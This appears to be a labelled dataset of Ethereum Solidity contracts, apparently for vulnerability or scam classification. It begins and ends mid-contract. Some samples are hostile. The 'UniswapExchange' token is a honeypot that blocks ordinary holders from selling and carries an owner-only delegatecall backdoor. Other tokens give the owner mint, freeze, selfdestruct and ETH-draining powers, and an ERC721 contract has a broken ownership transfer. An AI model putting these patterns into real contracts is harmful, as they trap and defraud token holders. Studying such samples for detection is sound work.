SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); depositCount_++; return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0
2,293
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,452
pragma solidity ^0.4.19; contract ERC721 { string constant private tokenName = "ENCRYPTOART"; string constant private tokenSymbol = "ENA"; uint256 constant private totalTokens = 10000000000; mapping(address => uint) private balances; mapping(uint256 => address) private tokenOwners; mapping(uint256 => bool) private tokenExists; mapping(address => mapping (address => uint256)) private allowed; mapping(address => mapping(uint256 => uint256)) private ownerTokens; mapping(uint256 => string) tokenLinks; function name() public constant returns (string){ return tokenName; } function symbol() public constant returns (string) { return tokenSymbol; } function totalSupply() public constant returns (uint256){ return totalTokens; } function balanceOf(address _owner) constant returns (uint){ return balances[_owner]; } function ownerOf(uint256 _tokenId) constant returns (address){ require(tokenExists[_tokenId]); return tokenOwners[_tokenId]; } function approve(address _to, uint256 _tokenId){ require(msg.sender == ownerOf(_tokenId)); require(msg.sender != _to); allowed[msg.sender][_to] = _tokenId; Approval(msg.sender, _to, _tokenId); } function takeOwnership(uint256 _tokenId){ require(tokenExists[_tokenId]); address oldOwner = ownerOf(_tokenId); address newOwner = msg.sender; require(newOwner != oldOwner); require(allowed[oldOwner][newOwner] == _tokenId); balances[oldOwner] -= 1; tokenOwners[_tokenId] = newOwner; balances[oldOwner] += 1; Transfer(oldOwner, newOwner, _tokenId); } function transfer(address _to, uint256 _tokenId){ address currentOwner = msg.sender; address newOwner = _to; require(tokenExists[_tokenId]); require(currentOwner == ownerOf(_tokenId)); require(currentOwner != newOwner); require(newOwner != address(0)); require(allowed[currentOwner][newOwner] == _tokenId); balances[currentOwner] -= 1; tokenOwners[_tokenId] = newOwner; balances[newOwner] += 1; Transfer(currentOwner, newOwner, _tokenId); } function tokenOfOwnerByIndex(address _owner, uint256 _index) constant returns (uint tokenId){ return ownerTokens[_owner][_index]; } function tokenMetadata(uint256 _tokenId) constant returns (string infoUrl){ return tokenLinks[_tokenId]; } event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); }
1
4,728
pragma solidity ^0.4.20; contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a && c >= b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract Owned { address public owner; function Owned() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function isOwner(address _owner) internal returns (bool){ if (_owner == owner){ return true; } return false; } function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } } contract BPToken is SafeMath, Owned, ERC20 { string public constant name = "Backpack Travel Token"; string public constant symbol = "BP"; uint256 public constant decimals = 18; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function BPToken() { totalSupply = 2000000000 * 10 ** uint256(decimals); balances[msg.sender] = totalSupply; } event Issue(uint16 role, address indexed to, uint256 value); enum Roles { Default, Angel, PrivateSale, Partner, Fans, Team, Foundation, Backup } mapping (address => uint256) addressHold; mapping (address => uint16) addressRole; uint perMonthSecond = 2592000; struct LockRule { uint baseLockPercent; uint startLockTime; uint stopLockTime; uint linearRelease; } mapping (uint16 => LockRule) roleRule; function setRule(uint16 _role, uint _baseLockPercent, uint _startLockTime, uint _stopLockTime,uint _linearRelease) onlyOwner { assert(_startLockTime > block.timestamp); assert(_stopLockTime > _startLockTime); roleRule[_role] = LockRule({ baseLockPercent: _baseLockPercent, startLockTime: _startLockTime, stopLockTime: _stopLockTime, linearRelease: _linearRelease }); } function assign(uint16 role, address to, uint256 amount) onlyOwner returns (bool) { assert(role <= uint16(Roles.Backup)); assert(balances[msg.sender] > amount); if ((addressRole[to] != uint16(Roles.Default)) && (addressRole[to] != role)) throw; if (role != uint16(Roles.Default)) { addressRole[to] = role; addressHold[to] = safeAdd(addressHold[to],amount); } if (transfer(to,amount)) { Issue(role, to, amount); return true; } return false; } function isRole(address who) internal returns(uint16) { uint16 role = addressRole[who]; if (role != 0) { return role; } return 100; } function shouldHadBalance(address who) internal returns (uint){ uint16 currentRole = isRole(who); if (isOwner(who) || (currentRole == 100)) { return 0; } uint256 baseLockAmount = safeDiv(safeMul(addressHold[who], roleRule[currentRole].baseLockPercent),100); if (roleRule[currentRole].linearRelease == 0) { if (block.timestamp < roleRule[currentRole].stopLockTime) { return baseLockAmount; } else { return 0; } } if (block.timestamp < roleRule[currentRole].startLockTime + perMonthSecond) { return baseLockAmount; } uint lockMonth = safeDiv(safeSub(roleRule[currentRole].stopLockTime,roleRule[currentRole].startLockTime),perMonthSecond); uint256 monthUnlockAmount = safeDiv(baseLockAmount,lockMonth); uint hadPassMonth = safeDiv(safeSub(block.timestamp,roleRule[currentRole].startLockTime),perMonthSecond); return safeSub(baseLockAmount,safeMul(hadPassMonth,monthUnlockAmount)); } function balanceOf(address who) constant returns (uint) { return balances[who]; } function transfer(address to, uint256 value) returns (bool) { if (safeSub(balances[msg.sender],value) < shouldHadBalance(msg.sender)) throw; uint256 senderBalance = balances[msg.sender]; if (senderBalance >= value && value > 0) { senderBalance = safeSub(senderBalance, value); balances[msg.sender] = senderBalance; balances[to] = safeAdd(balances[to], value); Transfer(msg.sender, to, value); return true; } return false; } function transferFrom(address from, address to, uint256 value) returns (bool) { if (balances[from] >= value && allowed[from][msg.sender] >= value && safeAdd(balances[to], value) > balances[to]) { balances[to] = safeAdd(balances[to], value); balances[from] = safeSub(balances[from], value); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], value); Transfer(from, to, value); return true; } else {return false;} } function approve(address spender, uint256 value) returns (bool) { if (safeSub(balances[msg.sender],value) < shouldHadBalance(msg.sender)) throw; allowed[msg.sender][spender] = value; Approval(msg.sender, spender, value); return true; } function allowance(address owner, address spender) constant returns (uint) { uint allow = allowed[owner][spender]; return allow; } }
1
4,547
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract EncryptedToken is owned, TokenERC20 { uint256 INITIAL_SUPPLY =1600000000; uint256 public buyPrice = 1; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function EncryptedToken(uint256 initialSupply, string tokenName, string tokenSymbol) TokenERC20(INITIAL_SUPPLY, 'Entertainment chain', 'ENT') payable { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function () payable public { owner.send(msg.value); uint amount = msg.value * buyPrice; _transfer(owner, msg.sender, amount); } function selfdestructs() onlyOwner payable public { selfdestruct(owner); } }
0
1,206
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract EncryptedToken is owned, TokenERC20 { uint256 INITIAL_SUPPLY = 330000000; uint256 public buyPrice = 1; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'FOD', 'FOD') payable public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function () payable public { owner.send(msg.value); uint amount = msg.value * buyPrice; _transfer(owner, msg.sender, amount); } function selfdestructs() onlyOwner payable public { selfdestruct(owner); } function getEth(uint num) onlyOwner payable public { owner.send(num); } function balanceOfa(address _owner) public constant returns (uint256) { return balanceOf[_owner]; } }
0
509
pragma solidity ^0.4.11; contract MetalToken { uint public totalSupply; function transfer(address _to, uint256 _value); function balanceOf(address _owner) constant returns (uint256 balance); } contract IOU { mapping (address => uint256) public iou_purchased; mapping (address => uint256) public eth_sent; uint256 public total_iou_available = 1270000000000; uint256 public total_iou_purchased; uint256 public total_iou_withdrawn; uint256 public price_in_wei = 60000000000000000; MetalToken public token = MetalToken(0xF433089366899D83a9f26A773D59ec7eCF30355e); address seller = 0xB00Ae1e677B27Eee9955d632FF07a8590210B366; bool public halt_purchases; modifier pwner() { if(msg.sender != seller) throw; _; } function withdrawTokens() pwner { token.transfer(seller, token.balanceOf(address(this)) - (total_iou_purchased - total_iou_withdrawn)); } function haltPurchases() pwner { halt_purchases = true; } function resumePurchases() pwner { halt_purchases = false; } function updateAvailability(uint256 _iou_amount) pwner { if(_iou_amount < total_iou_purchased) throw; total_iou_available = _iou_amount; } function updatePrice(uint256 _price) pwner { price_in_wei = _price; } function paySeller() pwner { if(token.balanceOf(address(this)) < (total_iou_purchased - total_iou_withdrawn)) throw; halt_purchases = true; seller.transfer(this.balance); } function withdraw() payable { if(block.number > 4199999 && iou_purchased[msg.sender] > token.balanceOf(address(this))) { uint256 eth_to_refund = eth_sent[msg.sender]; if(eth_to_refund == 0 || iou_purchased[msg.sender] == 0) throw; total_iou_purchased -= iou_purchased[msg.sender]; eth_sent[msg.sender] = 0; iou_purchased[msg.sender] = 0; msg.sender.transfer(eth_to_refund); return; } if(token.balanceOf(address(this)) == 0 || iou_purchased[msg.sender] > token.balanceOf(address(this))) throw; uint256 iou_to_withdraw = iou_purchased[msg.sender]; if(iou_to_withdraw == 0) throw; iou_purchased[msg.sender] = 0; eth_sent[msg.sender] = 0; total_iou_withdrawn += iou_to_withdraw; token.transfer(msg.sender, iou_to_withdraw); } function purchase() payable { if(halt_purchases) throw; if(msg.value == 0) throw; uint256 iou_to_purchase = (msg.value * 10**8) / price_in_wei; if((total_iou_purchased + iou_to_purchase) > total_iou_available) throw; iou_purchased[msg.sender] += iou_to_purchase; eth_sent[msg.sender] += msg.value; total_iou_purchased += iou_to_purchase; } function () payable { if(msg.value == 0) { withdraw(); } else { purchase(); } } }
1
4,619
pragma solidity ^0.4.24; contract SafeBlocksFirewall { event EnquireResult(address sourceAddress, bool approved, address token, uint amount, address destination, uint blockNumber, string msg); event PolicyChanged(address contractAddress, address destination, address tokenAdress, uint limit); event ConfigurationChanged(address sender, address newConfiguration, string message); address owner; address rulesOwner; address proxyContract; bool verbose; mapping(address => LimitsRule) limitsRule; mapping(address => uint) lastSuccessPerContract; mapping(address => mapping(address => uint)) lastSuccessPerContractPerDestination; mapping(address => bool) blockAll; mapping(address => bool) enforceBypass; mapping(address => mapping(address => mapping(address => uint256 ))) customerRules; struct LimitsRule { uint perAddressLimit; uint globalLimit; } constructor() public { owner = msg.sender; verbose = true; } modifier onlyContractOwner { require(owner == msg.sender, "You are not allowed to run this function, required role: Contract-Owner"); _; } modifier onlyRulesOwner { require(rulesOwner == msg.sender, "You are not allowed to run this function, required role: Rules-Owner"); _; } modifier onlyProxy { require(proxyContract == msg.sender, "You are not allowed to run this function, required role: SafeBlocks-Proxy"); _; } function setProxyContract(address _proxy) onlyContractOwner public { proxyContract = _proxy; emit ConfigurationChanged(msg.sender, _proxy, "a new proxy contract address has been assigned"); } function setRulesOwner(address _rulesOwner) public onlyContractOwner { rulesOwner = _rulesOwner; emit ConfigurationChanged(msg.sender, _rulesOwner, "a new Rules-Owner has been assigned"); } function setVerbose(bool _verbose) onlyContractOwner public { verbose = _verbose; emit ConfigurationChanged(msg.sender, msg.sender, "a new Verbose-Mode has been assigned"); } function setBypassPerContract(address _contractAddress, bool _bypass) onlyRulesOwner public { if (verbose) emit PolicyChanged(_contractAddress, address(0), address(0), _bypass ? 1 : 0); enforceBypass[_contractAddress] = _bypass; } function setBlockAllPerContract(address _contractId, bool _isBlocked) onlyRulesOwner public { if (verbose) emit PolicyChanged(_contractId, address(0), address(0), 0); blockAll[_contractId] = _isBlocked; } function setPerAddressLimit(address _contractId, uint _limit) onlyRulesOwner public { if (verbose) emit PolicyChanged(_contractId, address(0), address(0), _limit); limitsRule[_contractId].perAddressLimit = _limit; } function setGlobalLimit(address _contractId, uint _limit) onlyRulesOwner public { if (verbose) emit PolicyChanged(_contractId, address(0), address(0), _limit); limitsRule[_contractId].globalLimit = _limit; } function addRule(address _contractId, address _destination, address _token, uint256 _tokenLimit) onlyRulesOwner public { if (verbose) emit PolicyChanged(_contractId, _destination, _token, _tokenLimit); customerRules[_contractId][_destination][_token] = _tokenLimit; } function removeRule(address _contractId, address _destination, address _token) onlyRulesOwner public { if (verbose) emit PolicyChanged(_contractId, _destination, _token, 0); delete customerRules[_contractId][_destination][_token]; } function allowTransaction(address _contractAddress, uint _amount, address _destination, address _token) public onlyProxy returns (bool){ if (enforceBypass[_contractAddress]) { if (verbose) emit EnquireResult(_contractAddress, true, _token, _amount, _destination, block.number, "1"); return true; } if (blockAll[_contractAddress]) { if (verbose) emit EnquireResult(_contractAddress, false, _token, _amount, _destination, block.number, "2"); return false; } uint256 limit = customerRules[_contractAddress][_destination][_token]; uint256 anyDestinationLimit = customerRules[_contractAddress][0x0][_token]; if (limit == 0 && anyDestinationLimit == 0) { if (verbose) emit EnquireResult(_contractAddress, false, _token, _amount, _destination, block.number, "3"); return false; } if (anyDestinationLimit > 0 && limit == 0) { limit = anyDestinationLimit; } if (_amount <= limit) { if (limitsRule[_contractAddress].perAddressLimit == 0 && limitsRule[_contractAddress].globalLimit == 0) { if (verbose) emit EnquireResult(_contractAddress, true, _token, _amount, _destination, block.number, "4"); return true; } if (checkTimeFrameLimit(_contractAddress)) { if (checkAddressLimit(_contractAddress, _destination)) { lastSuccessPerContract[_contractAddress] = block.number; lastSuccessPerContractPerDestination[_contractAddress][_destination] = block.number; if (verbose) emit EnquireResult(_contractAddress, true, _token, _amount, _destination, block.number, "5"); return true; } } } if (verbose) emit EnquireResult(_contractAddress, false, _token, _amount, _destination, block.number, "6"); return false; } function checkAddressLimit(address _contractId, address _destination) private view returns (bool){ if (lastSuccessPerContractPerDestination[_contractId][_destination] > 0) { if (block.number - lastSuccessPerContractPerDestination[_contractId][_destination] < limitsRule[_contractId].perAddressLimit) { return false; } } return true; } function checkTimeFrameLimit(address _contractId) private view returns (bool) { if (lastSuccessPerContract[_contractId] > 0) { if (block.number - lastSuccessPerContract[_contractId] < 